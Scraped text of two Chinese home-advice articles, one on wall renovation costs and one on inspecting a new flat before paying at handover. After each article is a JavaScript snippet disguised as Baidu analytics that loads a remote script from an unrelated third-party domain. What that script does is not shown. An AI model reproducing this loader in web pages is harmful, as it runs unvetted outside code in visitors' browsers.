一般家庭居住的房子翻新墙面多少钱

房子住旧了以后，墙面由于长期的阳光照射会有老化的现象，也可能有人为造成的划痕，这样墙面看上去就会很旧，很多人都会选择重新翻新墙面，使泛黄老化的墙壁再次光滑洁白。翻新墙面多少钱呢？这是许多人关心的问题，下面就通过翻新墙面的各项具体成本来算算翻新墙面多少钱。为了弄清楚翻新墙面多少钱，我们首先需要知道墙的建造包括哪些部分。铲墙、加固、刮腻子、防水、抗裂、磨削、批灰、上底漆、刷油漆等等,现在市场上提供的方式也是不同的,有的装修公司只计算油漆费用，不计算人工成本，看上去似乎比同行低，实际上只要具体去了解一下油漆单价，就会发现装修公司的报价高了很多，这只是一种障眼法，羊毛始终处在羊身上的，要小心多对比几家。一般情况下，翻新墙面分为四个级别：全铲铲类型，这种翻新墙面多少钱呢？通常在55元-75元一平米；全批类型，价格通常在45元-55元一平米；基本类型，20元一平米起动。价格已经是承包商包材料、施工防护的价格了。此外，翻新墙面多少钱的问题还应该包含人工费用，一般一套100平方米的房屋，2-3人施工，满屋全铲式7-10天即可完工。当然具体时间还是要视具体情况而定，假如墙面和建筑状态好，时间就会缩短。假如墙面存在起裂甚至脱落等情况，那么先要把这些损坏的基本层清除干净，再滚刷固化剂，然后做防水，最后用腻子粉刷一遍，防止裂缝，处理完毕即可刷漆。上面就是对翻新墙面多少钱的解答，当然最终的价格要根据墙面的新旧程度，翻新的难度来决定。此外，如果墙面的面积大的话，还能更优惠一些。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

新买的房子交房时到底应该先交钱还是先验房？

听到不少买房的人在说，开发商在交付房子时要求购房者必须交完钱才给验收房子。虽然按照有关规定房屋应当在验收完毕后才完成交房，但事实是很多的开发商都要求购房者必须先交了钱才给钥匙，这让购房者们觉得很烦恼，那么到底在交房的时侯是先交钱还是先验房呢？怎样才是合法的呢？先交钱还是先验房？一般的做法都是先验收了才交钱的，合同法对此也是有相关的规定。如果开发商要求先交钱再验房，这种行为就具有霸王条款的性质了，与当前的基本市场经济原则是相违背的，法律上也不会给予支持，所以购房者必须清楚这一点。而购房者在收到开方商方面发出的交房通知后，注意按以下步骤来验收才不会吃亏：一、查看相关资料购买的房子验房时须让开发商提供这些资料查看，包括：使用说明书、质量保证书、竣工验收的备案证、房屋面积的实际测量表、房屋管线分布的竣工图（主要是水、强电、弱电和结构方面）等这几样。二、首次验房首次验房需要和物业一起，因为验房的标准是根据有关法律、法规的约定来规范的，其中验房的范围就包括查看房屋以及房屋的附属设施的质量如何和室内的有害气体有没有超标，周边的小区环境情况等，物业在这方面会比较熟悉。三、解决验收问题为什么要知道先交钱还是先验房？就是因为如果是验房结果不满意，购房者可以根据验房过程中发现的问题向开发商及物业公司提出质疑，要求对方给出解决的办法或意见，并在规定期限内解决，这时记得要让对方签字确认，以免对方否认。四、验收完成当开发商解决了首次验房过程中存在的问题后，会再次向购房者发出交房通知书，这时购房者可以再次和物业一起完成房子的验收，如果是确认已经不存在其它问题了，就可以在相关的交接单中签字确认了，同时交完应付的钱后，购买的房子也交付好了。业主在购买了房子后，就必须了解清楚交房的时侯是先交钱还是先验房，只有了解了先交钱还是先验房之后才能懂得如何正确的维护自己的合法权益。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();